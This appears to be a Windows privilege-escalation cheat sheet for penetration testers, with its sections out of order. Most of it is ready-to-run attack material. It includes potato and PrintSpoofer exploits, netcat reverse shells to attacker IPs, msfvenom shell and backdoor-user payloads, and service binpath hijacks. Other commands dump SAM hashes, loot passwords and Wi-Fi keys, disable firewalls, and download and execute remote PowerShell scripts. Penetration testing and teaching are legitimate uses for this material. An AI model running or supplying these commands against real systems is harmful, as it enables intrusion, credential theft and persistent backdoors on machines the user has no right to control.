- antonioCoco/JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txt
PrintSpoofer (Printer Bug)
this work if SeImpersonatePrivilege is enabled
- Binary available at itm4n/PrintSpoofer
# run nc -lnvp 443 then :
.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe 192.168.45.171 443 -e cmd"
# without listener
.\PrintSpoofer64.exe -i -c cmd
# Via RPD
.\PrintSpoofer64.exe -d 3 -c "powershell -ep bypass"
EoP — Privileged File Write
DiagHub
Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32
directory.
Exploit
- Create an evil DLL e.g: payload.dll and move it into
C:\Windows\System32
- Build xct/diaghub
diaghub.exe c:\\ProgramData\\ payload.dll
The default payload will run C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe
Alternative tools:
- Accenture/AARO-Bugs/CVE-2020-5825/TrigDiag
- decoder-it/diaghub_exploit
UsoDLLLoader
2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
An alternative to the DiagHub DLL loading «exploit» found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll
into C:\Windows\Sytem32\
and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITY\System.
Exploit
- Build itm4n/UsoDllLoader
- Select Release config and x64 architecure.
- Build solution.
- DLL .\x64\Release\WindowsCoreDeviceInfo.dll
- Loader .\x64\Release\UsoDllLoader.exe.
- Copy
WindowsCoreDeviceInfo.dll
toC:\Windows\System32\
- Use the loader and wait for the shell or run
usoclient StartInteractiveScan
and connect to the bind shell on port 1337.
WerTrigger
Exploit Privileged File Writes bugs with Windows Problem Reporting
- Clone sailay1996/WerTrigger
- Copy
phoneinfo.dll
toC:\Windows\System32\
- Place
Report.wer
file andWerTrigger.exe
in a same directory. - Then, run
WerTrigger.exe
. - Enjoy a shell as NT AUTHORITY\SYSTEM
WerMgr
Exploit Privileged Directory Creation Bugs with Windows Error Reporting
- Clone binderlabs/DirCreate2System
- Create directory
C:\Windows\System32\wermgr.exe.local\
- Grant access to it:
cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f
- Place
spawn.dll
file anddircreate2system.exe
in a same directory and run.\dircreate2system.exe
. - Enjoy a shell as NT AUTHORITY\SYSTEM
EoP — Privileged File Delete
During an MSI installation, the Windows Installer service maintains a record of every changes in case it needs to be rolled back, to do that it will create:
- a folder at
C:\Config.Msi
containing- a rollback script (
.rbs
) - a rollback file (
.rbf
)
- a rollback script (
To convert a privileged file delete to a local privilege escalation, you need to abuse the Windows Installer service.
- delete the protected
C:\Config.Msi
folder immediately after it’s created by the Windows Installer - recreate the
C:\Config.Msi
folder with weak DACL permissions since ordinary users are allowed to create folders at the root ofC:\
. - drop malicious
.rbs
and.rbf
files into it to be executed by the MSI rollback - then upon rollback, Windows Installer will make arbitrary changes to the system
The easiest way to trigger this chain is using thezdi/FilesystemEoPs/FolderOrFileDeleteToSystem.
The exploit contains a .msi file with 2 actions, the first one produces a delay and the second throws an error to make it rollback. This rollback will «restore» a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll
.
Then switch to the secure desktop using [CTRL]+[ALT]+[DELETE]
and open the On-Screen Keyboard (osk.exe
).
The osk.exe
process first looks for the C:\Program Files\Common Files\microsoft shared\ink\HID.dll
library instead of C:\Windows\System32\HID.dll
EoP — Common Vulnerabilities and Exposure
MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
Metasploit modules to exploit MS08-067 NetAPI
.
exploit/windows/smb/ms08_067_netapi
If you can’t use Metasploit and only want a reverse shell.
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
MS10-015 (KiTrap0D) — Microsoft Windows NT/2000/2003/2008/XP/Vista/7
‘KiTrap0D’ User Mode to Ring Escalation (MS10-015)
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
MS11-080 (afd.sys) — Microsoft Windows XP/2003
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
MS15-051 (Client Copy Image) — Microsoft Windows 2003/2008/7/8/2012
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");
# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
MS16-032 — Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : wmic qfe list | findstr "3139914"
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Binary exe : https://github.com/Meatballs1/ms16-032
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script or netexec: netexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010
.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion
.
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
If you can’t use Metasploit and only want a reverse shell.
git clone https://github.com/helviojunior/MS17-010
# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
CVE-2019-1388
Exploit : packetstormsecurity/hhupd.exe
Requirement:
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : Thanksgiving Treat: Easy-as-Pie Windows 7 Secure Desktop Escalation of Privilege — Simon Zuckerbraun — November 19, 2019
References
- ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS — Simon Zuckerbraun — March 17, 2022
- Abusing Diaghub — xct — March 7, 2019
- Abusing SeLoadDriverPrivilege for privilege escalation — June 14, 2018 — OSCAR MALLO
- Abusing the SeRelabelPrivilege — @decoder_it — May 30, 2024
- Alternative methods of becoming SYSTEM — Adam Chester @xpn — November 20, 2017
- Basic Linux Privilege Escalation — g0tmi1k — August 2, 2011
- Bypassing AppLocker by abusing HashInfo — Ian — August 19, 2022
- Chapter 4 — Windows Post-Exploitation — dostoevskylabs — November 2, 2017
- Common Windows Misconfiguration: Services — 2018-09-23 — @am0nsec
- Deleting Your Way Into SYSTEM: Why Arbitrary File Deletion Vulnerabilities Matter — ANDREW OLIVEAU — SEP 11, 2023
- Escalating Privileges via Third-Party Windows Installers — ANDREW OLIVEAU — JUL 19, 2023
- Giving JuicyPotato a second chance: JuicyPotatoNG — @decoder_it, @splinter_code
- Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows
- icacls — Docs Microsoft
- IN THE POTATO FAMILY, I WANT THEM ALL — @BlWasp_
- Living Off The Land Binaries and Scripts (and now also Libraries)
- Local Privilege Escalation Workshop — Slides.pdf — @sagishahar
- MSI Shenanigans. Part 1 – Offensive Capabilities Overview — DECEMBER 8, 2022 — Mariusz Banach
- MSIFortune — LPE with MSI Installers — Oct 3, 2023 — PfiatDe
- Pentestlab.blog — WPE-01 — Stored Credentials
- Pentestlab.blog — WPE-02 — Windows Kernel
- Pentestlab.blog — WPE-03 — DLL Injection
- Pentestlab.blog — WPE-04 — Weak Service Permissions
- Pentestlab.blog — WPE-05 — DLL Hijacking
- Pentestlab.blog — WPE-06 — Hot Potato
- Pentestlab.blog — WPE-07 — Group Policy Preferences
- Pentestlab.blog — WPE-08 — Unquoted Service Path
- Pentestlab.blog — WPE-09 — Always Install Elevated
- Pentestlab.blog — WPE-10 — Token Manipulation
- Pentestlab.blog — WPE-11 — Secondary Logon Handle
- Pentestlab.blog — WPE-12 — Insecure Registry Permissions
- Pentestlab.blog — WPE-13 — Intel SYSRET
- Potatoes — Windows Privilege Escalation — Jorge Lajara — November 22, 2020
- Privilege Escalation Windows — Philip Linghammar
- Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability — September 18th, 2016 — Robert Russell
- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
- The SYSTEM Challenge
- TOP–10 ways to boost your privileges in Windows systems — hackmag
- Universal Privilege Escalation and Persistence – Printer — AUGUST 2, 2021)
- Weaponizing Privileged File Writes with the USO Service — Part 2/2 — itm4n — August 19, 2019
- Webinar — Windows Client Privilege Escalation — Oddvar Moe — March 26, 2025
- Windows Client Privilege Escalation-Shared.pptx — Oddvar Moe — March 27, 2025
- Windows elevation of privileges — Guifre Ruiz
- Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege — James Forshaw, Project Zero — Wednesday, April 18, 2018
- Windows Privilege Escalation Fundamentals
- Windows Privilege Escalation Guide — absolomb’s security blog
- PowerSploit’s PowerUp
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
- Watson — Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
- BeRoot — Privilege Escalation Project — Windows / Linux / Mac
- Windows-Exploit-Suggester
./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
- windows-privesc-check — Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
- WindowsExploits — Windows exploits, mostly precompiled. Not being updated.
- WindowsEnum — A Powershell Privilege Escalation Enumeration Script.
- Seatbelt — A C# project that performs a number of security oriented host-survey “safety checks” relevant from both offensive and defensive security perspectives.
- Powerless — Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind
- JAWS — Just Another Windows (Enum) Script
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
Summary
- Tools
- Windows Version and Configuration
- User Enumeration
- Network Enumeration
- EoP — Looting for passwords
- EoP — Processes Enumeration and Tasks
- EoP — Incorrect permissions in services
- EoP — Windows Subsystem for Linux (WSL)
- EoP — Unquoted Service Paths
- EoP — Kernel Exploitation
- EoP — AlwaysInstallElevated
- EoP — Insecure GUI apps
- EoP — Runas
- EoP — From local administrator to NT SYSTEM
- EoP — Living Off The Land Binaries and Scripts
- EoP — Impersonation Privileges
- Meterpreter getsystem and alternatives
- RottenPotato (Token Impersonation)
- Juicy Potato (abusing the golden privileges)
- EoP — Common Vulnerabilities and Exposures
- MS08-067 (NetAPI)
- MS10-015 (KiTrap0D)
- MS11-080 (adf.sys)
- MS15-051 (Client Copy Image)
- MS16-032
- MS17-010 (Eternal Blue)
- References
Windows Version and Configuration
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Extract patchs and updates
Architecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
List all env variables
set
Get-ChildItem Env: | ft Key,Value
List all drives
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
User Enumeration
Get current username
echo %USERNAME% || whoami
$env:username
List user privilege
List all users
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
List logon requirements; useable for bruteforcing
net accounts
Get details about a user (i.e. administrator, admin, current user)
net user administrator
net user admin
net user %USERNAME%
List all local groups
net localgroup
Get-LocalGroup | ft Name
Get details about a group (i.e. administrators)
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
List current routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
List all current connections
List firewall state and current configuration
netsh advfirewall firewall dump
or
netsh firewall show state
netsh firewall show config
List firewall’s blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
Disable firewall
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
List all network shares
SNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
EoP — Looting for passwords
SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Generate a hash file for John using pwdump
or samdump2
.
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
Then crack it with john -format=NT /root/sam.txt
.
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Search for a file with a certain filename
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Search the registry for key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Read a value of a certain sub key
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
Passwords in unattend.xml
Location of the unattend.xml files.
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
.
Example content
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
The Metasploit module post/windows/gather/enum_unattend
looks for these files.
IIS Web config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Other files
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
Get Cleartext Pass
netsh wlan show profile <SSID> key=clear
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
EoP — Processes Enumeration and Tasks
What processes are running?
tasklist /v
net start
sc query
Get-Service
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
Which processes are running as “system”
tasklist /v /fi "username eq system"
Do you have powershell magic?
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
List installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
List services
net start
wmic service list brief
tasklist /SVC
Scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Startup tasks
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
EoP — Incorrect permissions in services
A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
- PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions
Note to check file permissions you can use cacls
and icacls
icacls (Windows Vista +)
cacls (Windows XP)
You are looking for BUILTIN\Users:(F)
(Full access), BUILTIN\Users:(M)
(Modify access) or BUILTIN\Users:(W)
(Write-only access) in the output.
Example with Windows XP SP1
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
If it fails because of a missing dependency, try the following commands.
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost
sc config upnphost depend=""
Using accesschk
from Sysinternals or accesschk-XP.exe — github.com/phackt
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
$ accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
EoP — Windows Subsystem for Linux (WSL)
Technique borrowed from Warlockobama’s tweet
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don’t know the root password? No problem just set the default user to root W/ .exe —default-user root. Now start your bind shell or reverse.
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Binary bash.exe
can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Alternatively you can explore the WSL
filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
EoP — Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Metasploit provides the exploit : exploit/windows/local/trusted_service_path
Example
For C:\Program Files\something\legit.exe
, Windows will try the following paths first:
C:\Program.exe
C:\Program Files.exe
EoP — Kernel Exploitation
List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits
#Security Bulletin #KB #Description #Operating System
- MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
- CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
- CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
- MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
- MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
- MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
- MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
- MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
- MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
- MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
- MS16-014 [K3134228] [remote code execution] (2008/Vista/7)
… - MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
To cross compile a program from Kali, use the following command.
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
EoP — AlwaysInstallElevated
Check if these registry values are set to “1”.
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Then create an MSI package and install it.
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
Technique also available in Metasploit : exploit/windows/local/always_install_elevated
EoP — Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”
EoP — Runas
Use the cmdkey
to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Then you can use runas
with the /savecred
options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Using runas
with a provided set of credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
$ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$ computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
EoP — From local administrator to NT SYSTEM
EoP — Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
- Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra “unexpected” functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses
- Have functionality that would be useful to an APT or red team
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
EoP — Impersonation Privileges
Meterpreter getsystem and alternatives
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
RottenPotato (Token Impersonation)
Binary available at : https://github.com/foxglovesec/RottenPotato Binary available at : https://github.com/breenmachine/RottenPotatoNG
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
Juicy Potato (abusing the golden privileges)
Binary available at : https://github.com/ohpe/juicy-potato/releases
:warning: Juicy Potato doesn’t work in Windows Server 2019.
-
Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)
-
Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
- Windows 7 Enterprise
- Windows 8.1 Enterprise
- Windows 10 Enterprise
- Windows 10 Professional
